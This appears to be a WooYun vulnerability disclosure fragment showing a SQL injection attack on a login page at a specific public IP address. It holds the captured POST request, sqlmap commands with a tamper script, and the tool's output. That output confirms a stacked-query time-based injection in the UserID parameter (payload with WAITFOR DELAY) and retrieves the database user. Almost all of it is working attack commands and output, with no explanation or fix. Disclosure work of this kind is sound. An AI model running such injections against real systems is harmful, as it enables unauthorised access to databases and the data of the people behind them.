WooYun.org

POST /Login.aspx HTTP/1.1
Host: 220.250.65.185
Proxy-Connection: keep-alive
Content-Length: 34
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://220.250.65.185
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://220.250.65.185/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Type=DoLogin&UserID=ss&Password=gh

D:\Program Files (x86)\python\sqlmap>sqlmap.py -r c:\1.txt --tamper equaltolike.py

D:\Program Files (x86)\python\sqlmap>sqlmap.py -r c:\1.txt --tamper equaltolike.
py --current-user
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150712}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:30:39
[10:30:39] [INFO] parsing HTTP request from 'c:\1.txt'
[10:30:39] [INFO] loading tamper script 'equaltolike'
[10:30:39] [WARNING] tamper script 'equaltolike' is unlikely to work against Pos
tgreSQL
[10:30:39] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:30:39] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: UserID (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: Type=DoLogin&UserID=ss';WAITFOR DELAY '0:0:5'--&Password=gh
---
[10:30:39] [WARNING] changes made by tampering scripts are not included in shown
 payload content(s)
[10:30:39] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[10:30:39] [INFO] fetching current user
[10:30:40] [WARNING] time-based comparison requires larger statistical model, pl
ease wait.............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[10:31:44] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[10:32:05] [INFO] adjusting time delay to 1 second due to good response times
UnciomFlowManage
current user:    'UnciomFlowManage'